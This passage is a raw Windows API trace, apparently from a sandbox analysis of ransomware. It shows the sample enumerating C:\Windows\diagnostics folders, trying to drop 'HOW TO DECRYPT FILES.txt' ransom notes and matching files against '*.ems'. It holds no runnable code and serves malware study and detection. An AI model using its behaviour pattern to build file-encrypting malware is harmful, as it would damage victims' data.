ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0127.061] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0127.061] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0d0dfdf, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xe0d0dfdf, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xe0d0dfdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_DvdDecoder.ps1", cAlternateFileName="")) returned 1 [0127.061] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.061] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DvdDecoder.ps1") returned -1 [0127.061] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DvdDecoder.ps1") returned -1 [0127.061] lstrcmpiA (lpString1="", lpString2="RS_DvdDecoder.ps1") returned -1 [0127.061] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\*.*") returned="*.*" [0127.061] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.062] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.062] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.062] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.062] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.062] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.062] CloseHandle (hObject=0xffffffff) returned 0 [0127.062] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="RS_DvdDecoder.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\RS_DvdDecoder.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\RS_DvdDecoder.ps1" [0127.062] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\RS_DvdDecoder.ps1", pszSpec="*.ems") returned 0 [0127.063] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x103e9d3c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x103e9d3c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0d3413d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DVDAudioDecoder.ps1", cAlternateFileName="")) returned 1 [0127.063] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.063] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DVDAudioDecoder.ps1") returned -1 [0127.063] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DVDAudioDecoder.ps1") returned -1 [0127.063] lstrcmpiA (lpString1="", lpString2="TS_DVDAudioDecoder.ps1") returned -1 [0127.063] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\RS_DvdDecoder.ps1") returned="RS_DvdDecoder.ps1" [0127.063] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.063] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.063] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.063] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.063] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.063] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.064] CloseHandle (hObject=0xffffffff) returned 0 [0127.064] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="TS_DVDAudioDecoder.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDAudioDecoder.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDAudioDecoder.ps1" [0127.064] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDAudioDecoder.ps1", pszSpec="*.ems") returned 0 [0127.065] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10435ff6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10435ff6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0d5a29b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DVDDevice.ps1", cAlternateFileName="")) returned 1 [0127.065] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.065] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DVDDevice.ps1") returned -1 [0127.065] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DVDDevice.ps1") returned -1 [0127.065] lstrcmpiA (lpString1="", lpString2="TS_DVDDevice.ps1") returned -1 [0127.065] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDAudioDecoder.ps1") returned="TS_DVDAudioDecoder.ps1" [0127.066] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.066] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.066] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.066] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.066] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.066] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.066] CloseHandle (hObject=0xffffffff) returned 0 [0127.066] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="TS_DVDDevice.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDDevice.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDDevice.ps1" [0127.067] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDDevice.ps1", pszSpec="*.ems") returned 0 [0127.067] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1045c153, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1045c153, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0d5a29b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DVDVideoDecoder.ps1", cAlternateFileName="")) returned 1 [0127.067] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.067] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DVDVideoDecoder.ps1") returned -1 [0127.067] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DVDVideoDecoder.ps1") returned -1 [0127.067] lstrcmpiA (lpString1="", lpString2="TS_DVDVideoDecoder.ps1") returned -1 [0127.067] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDDevice.ps1") returned="TS_DVDDevice.ps1" [0127.067] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.067] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.067] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.067] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.067] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.068] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.068] CloseHandle (hObject=0xffffffff) returned 0 [0127.068] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="TS_DVDVideoDecoder.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDVideoDecoder.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDVideoDecoder.ps1" [0127.068] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDVideoDecoder.ps1", pszSpec="*.ems") returned 0 [0127.068] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1045c153, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1045c153, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0d803f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IsWMPUnavailable.ps1", cAlternateFileName="")) returned 1 [0127.068] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.068] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_IsWMPUnavailable.ps1") returned -1 [0127.068] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_IsWMPUnavailable.ps1") returned -1 [0127.068] lstrcmpiA (lpString1="", lpString2="TS_IsWMPUnavailable.ps1") returned -1 [0127.068] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_DVDVideoDecoder.ps1") returned="TS_DVDVideoDecoder.ps1" [0127.068] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.068] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.069] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.069] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.069] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.069] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.069] CloseHandle (hObject=0xffffffff) returned 0 [0127.069] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="TS_IsWMPUnavailable.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_IsWMPUnavailable.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_IsWMPUnavailable.ps1" [0127.069] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_IsWMPUnavailable.ps1", pszSpec="*.ems") returned 0 [0127.070] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104822b0, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x104822b0, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0d803f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WindowsMediaPlayer.ps1", cAlternateFileName="")) returned 1 [0127.070] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.070] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0127.070] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0127.070] lstrcmpiA (lpString1="", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0127.070] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_IsWMPUnavailable.ps1") returned="TS_IsWMPUnavailable.ps1" [0127.070] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" [0127.070] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\") returned="" [0127.070] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" [0127.070] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt")) returned 0xffffffff [0127.070] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerplaydvd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.071] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.071] CloseHandle (hObject=0xffffffff) returned 0 [0127.071] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\", lpString2="TS_WindowsMediaPlayer.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_WindowsMediaPlayer.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_WindowsMediaPlayer.ps1" [0127.071] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ems") returned 0 [0127.071] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104822b0, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x104822b0, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe0d803f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WindowsMediaPlayer.ps1", cAlternateFileName="")) returned 0 [0127.071] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.071] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~3")) returned 1 [0127.072] lstrcmpA (lpString1=".", lpString2="WindowsUpdate") returned -1 [0127.072] lstrcmpA (lpString1="..", lpString2="WindowsUpdate") returned -1 [0127.072] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0127.072] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="WindowsUpdate" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate" [0127.072] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.072] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.072] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.072] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.073] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.073] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12184c87, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12184c87, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x91a8078c, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0xb3e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0127.073] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.073] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0127.073] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0127.073] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0127.073] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\*.*") returned="*.*" [0127.073] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" [0127.073] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\") returned="" [0127.073] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" [0127.073] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\how to decrypt files.txt")) returned 0xffffffff [0127.073] CreateFileA 